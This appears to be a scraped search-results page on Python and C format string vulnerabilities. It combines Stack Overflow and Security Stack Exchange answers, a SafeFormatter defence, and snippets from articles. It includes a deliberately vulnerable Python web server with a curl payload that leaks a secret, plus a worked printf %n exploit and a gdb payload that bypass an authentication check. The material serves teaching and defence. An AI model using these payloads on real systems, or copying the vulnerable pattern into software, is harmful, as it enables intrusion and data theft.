Good instinct. Yes, an attacker being able to supply arbitrary format string is a vulnerability under python.

  • The denial of service is probably the most simple to address. In this case, limiting the size of the string or the number of operators within the string will mitigate this issue. There should be a setting where no reasonable user will need to generate a string with more variables than X, and this amount of computation isn't at risk of being exploited in a DoS attack.
  • Being able to access attributes within an object could be dangerous. However, I don't think that the Object parent class has any useful information. The object supplied to the format would have to contain something sensitive. In any case, this type of notation can limited with a regular expression.
  • If the format strings are user supplied then a user might need to know the error message for debugging. However, error mesages can contain senstive information such as local paths or class names. Make sure to limit the information that an attacker can obtain.

Look over the python format string specification and forbid functionality you don't want the user to have with a regex.

Answer from rook on Stack Overflow
Top answer
1 of 3
9

Good instinct. Yes, an attacker being able to supply arbitrary format string is a vulnerability under python.

  • The denial of service is probably the most simple to address. In this case, limiting the size of the string or the number of operators within the string will mitigate this issue. There should be a setting where no reasonable user will need to generate a string with more variables than X, and this amount of computation isn't at risk of being exploited in a DoS attack.
  • Being able to access attributes within an object could be dangerous. However, I don't think that the Object parent class has any useful information. The object supplied to the format would have to contain something sensitive. In any case, this type of notation can limited with a regular expression.
  • If the format strings are user supplied then a user might need to know the error message for debugging. However, error mesages can contain senstive information such as local paths or class names. Make sure to limit the information that an attacker can obtain.

Look over the python format string specification and forbid functionality you don't want the user to have with a regex.

2 of 3
4

This simple Formatter override blocks users from accessing attributes. It still allows formatting and conversion of types.

from string import Formatter

class SafeFormatter(Formatter):
    def get_field(self, field_name, args, kwargs):
        if not str.isidentifier(field_name):
            raise ValueError(
                f"Invalid format string, {field_name!r} is not a valid identifier"
            )
        return super().get_field(field_name, args, kwargs)

Usage example:

>>> safe_formatter = SafeFormatter()
>>> safe_formatter.format("Number {num} is id={id}", num=1, id="hello")
'Number 1 is hello'
>>> safe_formatter.format("Number {num} is {id.__class__}", num=1, id="hello")
Traceback (most recent call last):
  File "<python-input-3>", line 1, in <module>
    safe_formatter.format("Number {num} is {id.__class__}", num=1, id="hello")
    ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
[...omitted...]
  File "<python-input-0>", line 6, in get_field
    raise ValueError(
        f"Invalid format string, {field_name!r} is not a valid identifier"
    )
ValueError: Invalid format string, 'id.__class__' is not a valid identifier
>>> 
🌐
Podalirius
podalirius.net › en › articles › python-format-string-vulnerabilities
Python format string vulnerabilities · Podalirius
March 24, 2021 - Even though python format strings can be very useful in scripts, they should be used with caution as they can be prone to vulnerabilities.
Discussions

Is format string still an issue in Python? - Information Security Stack Exchange
Does it mean the issue has been solved in newer Python version? Should developer still take care of it? ... format string vulnerability is about using a format string (in your case Job ID: {}) which includes untrusted user input. Your example does not do this, i.e. More on security.stackexchange.com
🌐 security.stackexchange.com
exploit - Are there any Security Concerns to using Python F Strings with User Input - Information Security Stack Exchange
Background A while ago I started using F strings in Python but remembered seeing some security concerns with using them with user input so I have made a point of not using them for those situations. More on security.stackexchange.com
🌐 security.stackexchange.com
September 15, 2020
c - How to exploit this string format vulnerability - Stack Overflow
As you can see, auth's address gets printed, then Python 3 starts up and I can input whatever I like to the program's stdin using Python. But there's another problem I mentioned earlier: Formatting. I don't know a lot about Python 3 and how it handles Strings, but if I decide to print the following: More on stackoverflow.com
🌐 stackoverflow.com
Be Careful with Python's New-Style String Format
I think the problem is not the new-style string format, every input or output must be sanitized if you want keep it safe. If somebody has access to execute a script you already are vulnerable. It's one more thing to escape :/ This CTF questions show how to access python base class easily https://hexplo.it/escaping-the-csawctf-python-sandbox/ More on reddit.com
🌐 r/Python
32
87
December 29, 2016
🌐
Wallarm
wallarm.com › what › format-string-vulnerability
✋Format String Vulnerability - Types, Examples, Prevention
June 26, 2025 - Additionally, PHP applications using sprintf may also trigger the sprintf format string vulnerability issue if the hacker is skilled. This loophole was also used to carry out SQL injection attacks, in the past. It is not just C or C++ that is prone to this attack. Format string in Python is also very commonly seen.
🌐
GitHub
github.com › lovasoa › pyformat-challenge
GitHub - lovasoa/pyformat-challenge: Python format string vulnerability exploitation challenge · GitHub
Python format string vulnerability exploitation challenge - lovasoa/pyformat-challenge
Starred by 7 users
Forked by 4 users
Languages   Python 91.1% | Shell 8.9%
🌐
O'Reilly
oreilly.com › library › view › python-penetration-testing › 9781784399771 › 9d8c1a55-3be3-4aaa-b64d-472981ad72ab.xhtml
Format string exploitation - Python Penetration Testing Cookbook [Book]
November 28, 2017 - The format string vulnerability occurs when the submitted data of an input string is evaluated as a command by the application. With the help of this method, the attacker could execute code, read the stack, and may cause a segmentation fault.
Author   Rejah Rehim
Published   2017
Pages   226
🌐
Stack Exchange
security.stackexchange.com › questions › 269949 › is-format-string-still-an-issue-in-python
Is format string still an issue in Python? - Information Security Stack Exchange
This is explained in more detail in Are there any Security Concerns to using Python F Strings with User Input ... thanks a lot for quick answer! So, if the untrusted input is provided as an argument to a string formatting function, it is actually not vulnerable to format string attack.
🌐
GeeksforGeeks
geeksforgeeks.org › vulnerability-in-str-format-in-python
Vulnerability in str.format() in Python | GeeksforGeeks
January 6, 2025 - str.format() is one of the string formatting methods in Python, which allows multiple substitutions and value formatting. This method lets us concatenate elements within a string through positional formatting. But the vulnerability comes when our Python app uses str.format in the user-controlled string.
Find elsewhere
🌐
Armin Ronacher
lucumr.pocoo.org › 2016 › 12 › 29 › careful-with-str-format
Be Careful with Python’s New-Style String Format | Armin Ronacher's Thoughts and Writings
December 29, 2016 - For as long as only C interpreter objects are passed to the format string you are somewhat safe because the worst you can discover is some internal reprs like the fact that something is an integer class above.
🌐
OWASP Foundation
owasp.org › www-project-web-security-testing-guide › latest › 4-Web_Application_Security_Testing › 07-Input_Validation_Testing › 13-Testing_for_Format_String_Injection
Testing for Format String Injection
Python 2.6 and 2.7 str.format and ... code pattern that causes a format string vulnerability is a call to a string format function that contains unsanitized user input....
🌐
Dpex77
dpex77.github.io › website › format-string.html
Format String Vulnerability in Python
char user_input[100]; // Creates a string buffer scanf("%s", user_input); // Reads user input printf(user_input); // Prints directly (vulnerable) If an attacker enters: %x %x %x %x They can read memory and potentially execute arbitrary code. Python is safe because it does not interpret user input as format specifiers in print statements.
Top answer
1 of 4
22

Python's f-strings are actually safer. Use them!


String formatting may be dangerous when a format string depends on untrusted data. So, when using str.format() or %-formatting, it's important to use static format strings, or to sanitize untrusted parts before applying the formatter function. In contrast, f-strings aren't actually plain strings, but more like syntactic sugar for concatenating strings and expressions. As such, an f-string's format is predetermined and doesn't allow dynamic (potentially untrusted) parts in the first place.

Old-style formatting with str.format()

>>> data_str = 'bob'
>>> format_str = 'hello {name}!'
>>> format_str.format(name=data_str)
'hello bob!'

Here, your Python interpreter doesn't know the difference between a data string and a format string. It just calls a function, str.format(), which runs a replacement algorithm on the format string value at the moment of execution. So, expectedly, the format is just a plain string with curly braces in it:

>>> import dis
>>> dis.dis("'hello {name}!'")
  1           0 LOAD_CONST               0 ('hello {name}!')
              2 RETURN_VALUE

New-style formatting with f-strings

>>> data_str = 'bob'
>>> f'hello {data_str}!'
'hello bob!'

Here, f'hello {data_str}!' may look like a string constant, but it's not. The interpreter doesn't parse the part between {...} as part of the string that may be expanded later, but as a separate expression:

>>> dis.dis("f'hello {name}!'")
  1           0 LOAD_CONST               0 ('hello ')
              2 LOAD_NAME                0 (name)
              4 FORMAT_VALUE             0
              6 LOAD_CONST               1 ('!')
              8 BUILD_STRING             3
             10 RETURN_VALUE

So, think of "hi {sys.argv[1]}" as (approximately) syntactical sugar for "hi " + sys.argv[1]. At run time, the interpreter doesn't even really know or care that you used an f-string. It just sees instructions to build a string from a the constant "hi " and the formatted value of sys.argv[1].

Vulnerable example

Here is a sample web app which uses str.format() in a vulnerable way:

from http.server import HTTPServer, BaseHTTPRequestHandler

secret = 'abc123'

class Handler(BaseHTTPRequestHandler):
    name = 'funtimes'
    msg = 'welcome to {site.name}'
    def do_GET(self):
        res = ('<title>' + self.path + '</title>\n' + self.msg).format(site=self)
        self.send_response(200)
        self.send_header('content-type', 'text/html')
        self.end_headers()
        self.wfile.write(res.encode())

HTTPServer(('localhost', 8888), Handler).serve_forever()
$ python3 example.py

$ curl 'http://localhost:8888/test'
<title>/test</title>
welcome to funtimes

Attack

When the res string is built, it usesself.path as part of the format string. Since self.path is user-controlled, we can use it to alter the format string and e.g. exfiltrate the global variable secret:

$ curl -g 'http://localhost:8888/XXX{site.do_GET.__globals__[secret]}'
<title>/XXXabc123</title>
welcome to funtimes
2 of 4
4

If this basic language feature were this flawed, it probably wouldn't be a feature at all. As long as the contents of the format string are controlled by the programmer at development time, there is nothing that a user can do to abuse them.

The contents of the curly braces are evaluated, but the result of that evaluation is not evaluated again (i.e. sys.argv[1] is evaluated to "1+1", but is not evaluated again, like you have seen).

The problem arises when a user is able to to inject data into a string before it is formatted; see this challenge example. While this is not for an f-string, it is a good demonstration of the attacks that are possible if the user is allowed to control the formatting.

Top answer
1 of 2
1

The reason why you get a segmentation fault is likely because you try to write to the wrong address (why else). Now, while experimenting with your program, I found three main reasons why that could happen:

  • Hit the wrong spot using the wrong number of %xs
  • Access the wrong address because of formatting errors
  • Get the above right but try to use the wrong address to begin with

I'm pretty sure you got the first point right:

$ ./a.out

0xffc649e7
AAAA %x %x %x %x %x %x %x %x
AAAA c8 f7ef9540 5661521a 0 0 41414141 20782520 25207825

As we can see, I would need 5 times %x to get to the right location. I should verify that this will be the case for every consecutive time I run the program:

$ ./a.out

0xffaf5307
AAAA %x %x %x %x %x %x
AAAA c8 f7ed2540 565ad21a 0 0 41414141

Again, 5 times (likely -fno-stack-protector doing its job). The 6th occurence of %x will need to be replaced with %n. If you get the wrong number, you will likely encounter a segmentation fault.

Now, we need to make sure we overwrite at the right address. As you can see from the above examples, the address of auth is a different one every time I run the program.
To get the right address we would need to "respond" to whatever printf("%p\n", &auth) tells us. I achieved that by using the following command:

$ ./a.out < <(python)

0xffd51e77
Python 3.8.2 (default, Apr  8 2020, 14:31:25)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print('AAAA ' + '%x ' * 6)
AAAA c8 f7f52540 565fe21a 0 0 41414141

As you can see, auth's address gets printed, then Python 3 starts up and I can input whatever I like to the program's stdin using Python.

But there's another problem I mentioned earlier: Formatting. I don't know a lot about Python 3 and how it handles Strings, but if I decide to print the following:

$ ./a.out < <(python)

0xffd1cbb7
Python 3.8.2 (default, Apr  8 2020, 14:31:25)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print('\xff\xff\xff\xff ' + '%x ' * 6)
>>> ÿÿÿÿ c8 f7f96540 565a021a 0 0 bfc3bfc3

I would expect the content of the start of our input string (in hexadecimal) to be ffffffff, instead I got bfc3bfc3 at that location. If I would have to take a guess, I would say that has something to do with UTF-8, Python 3's default encoding.

To get around that behavior, I used Python 2 instead, which seems to default to ASCII.

$ ./a.out < <(python2)

0xfff28977
Python 2.7.18 (default, Apr 23 2020, 22:32:06)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '\xff\xff\xff\xff ' + '%x ' * 6
>>>  c8 f7f69540 565e521a 0 0 ffffffff

The only thing that's left is to print the right address in the correct byte order, followed by 5 times %x to move the stack pointer to the right position, followed by a %n to overwrite auth with something non-zero.

$ ./a.out < <(python2)

0xffb758b7
Python 2.7.18 (default, Apr 23 2020, 22:32:06)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '\xb7\x58\xb7\xff ' + '%x ' * 5 + '%n'
>>> X c8 f7efb540 5659d21a 0 0
Authenticated

And we're in.

2 of 2
0

In the general flow, printf uses the fmt to determine the types of the arguments, and copies them to its output. Unless you have some knowledge of where the output, or output control structure is, you won't have much luck attempting to jam random stack strings or other such things into it.

If generating a SEGV is enough of an exploit you already have your answer; however there is one formatting option %n which goes in the other direction. %n writes out, through a pointer in the argument list, how many chars it has written so far. If we can find a stray pointer to &auth on the stack, we can make a format string which goes through this.

First up, what does the stack look like? Run your program, and input:

%p %p %p %p %p %p .....

and look at the values that come out. All you need is one lower than the &auth by less than the size of an int. Greater doesn't help. If you can find one, you can then set a string with the number of %p to move to that pointer, then a %n to over-write it. If you don't find any, you can probe further in the stack frame by starting with "%64p", which moves to arg #64 (base 1) then proceeds from there.

If your over-write misses (say you were off in address by one byte ), you can substitute in a %256.256d for one of the %p's to increase your #written.

Sadly, on my machine and compiler (macos, clang), I couldn't find a value; and I tried to induce some by shifting environment variables, etc, but to no avail.

🌐
GitHub
github.com › arthaud › formatstring
GitHub - arthaud/formatstring: Format string exploitation helper
Formatstring is a python 3 library to help the exploitation of format string vulnerabilities.
Starred by 45 users
Forked by 3 users
Languages   Python 100.0% | Python 100.0%
🌐
BreakInSecurity
axcheron.github.io › exploit-101-format-strings
Exploit 101 - Format Strings - BreakInSecurity
April 22, 2018 - gdb-peda$ b *0x00400665 ; Break @printf() Breakpoint 1 at 0x400665 gdb-peda$ b *0x0040066a ; Break right after printf() Breakpoint 2 at 0x40066a gdb-peda$ run < <(python -c 'print "\xac\xf6\xff\xbf" + "%7$n"') Starting program: /home/user/format1 < <(python -c 'print "\xac\xf6\xff\xbf" + "%7$n"') [-------------------------------------code-------------------------------------] 0x40065e <main+62>: sub esp,0xc 0x400661 <main+65>: lea eax,[ebp-0x4c] 0x400664 <main+68>: push eax => 0x400665 <main+69>: call 0x400450 <printf@plt> 0x40066a <main+74>: add esp,0x10 0x40066d <main+77>: cmp DWORD PTR [ebp-0xc],0xcafebabe 0x400674 <main+84>: jne 0x40068f <main+111> 0x400676 <main+86>: sub esp,0xc Breakpoint 1, 0x00400665 in main () gdb-peda$ x/x 0xbffff6ac ; Check the value @ 0xbffff6ac 0xbffff6ac: 0xdeadc0de gdb-peda$ continue Continuing.
🌐
Sourcery
sourcery.ai › vulnerabilities › python-flask-security-audit-directly-returned-format-string
Flask Format String Direct Return Vulnerability | Security Vulnerability Database | Sourcery
When user-controlled data is ... attackers can inject format specifiers to access memory, read sensitive data, cause application crashes, or potentially achieve code execution through format string exploitation...
🌐
GitHub
github.com › PrateekJain90 › ExploitingFormatStringVulnerabilities
GitHub - PrateekJain90/ExploitingFormatStringVulnerabilities: Research project on Automating Exploitation on Format String Vulnerabilities · GitHub
Python GDB tutorial for reverse ... write a python plugin for GDB. The plugin helps find vulnerable format functions by dynamically analyzing calls to various format functions. This could be used to find the vulnerable format functions in the CTF problems by checking if the address of the first arguement passed to a function like printf is in the read/write memory. Thyago Silva. Format Strings (Gotfault ...
Starred by 9 users
Forked by 2 users
Languages   Python 72.0% | C 27.6%
🌐
Security Boulevard
securityboulevard.com › home › cybersecurity › threats & breaches › vulnerabilities › the problem of string concatenation and format string vulnerabilities
The Problem of String Concatenation and Format String Vulnerabilities - Security Boulevard
June 27, 2019 - Both of them print ‘Alice is 42 years old’, as you would expect. They don’t really require format specifiers, because Python will automatically convert them into a proper string representation most of the time. The second method, however, might lead to an information disclosure vulnerability.
🌐
Reddit
reddit.com › r/python › be careful with python's new-style string format
r/Python on Reddit: Be Careful with Python's New-Style String Format
December 29, 2016 - Nice to know, but kind of a "duh" thing. Format strings were intended for developers, not as a user input template string syntax. (Next you'll tell me letting users provide Jinja templates to render is a security vulnerability: duh!)
🌐
Comparitech
comparitech.com › home › blog › information security › format string attacks
What are format string attacks? (+ how to prevent them)
September 28, 2023 - Most format string attacks exploit the C programming language. But other programming languages, such as Python, can also be vulnerable to format string attacks if its format() functions are not properly configured.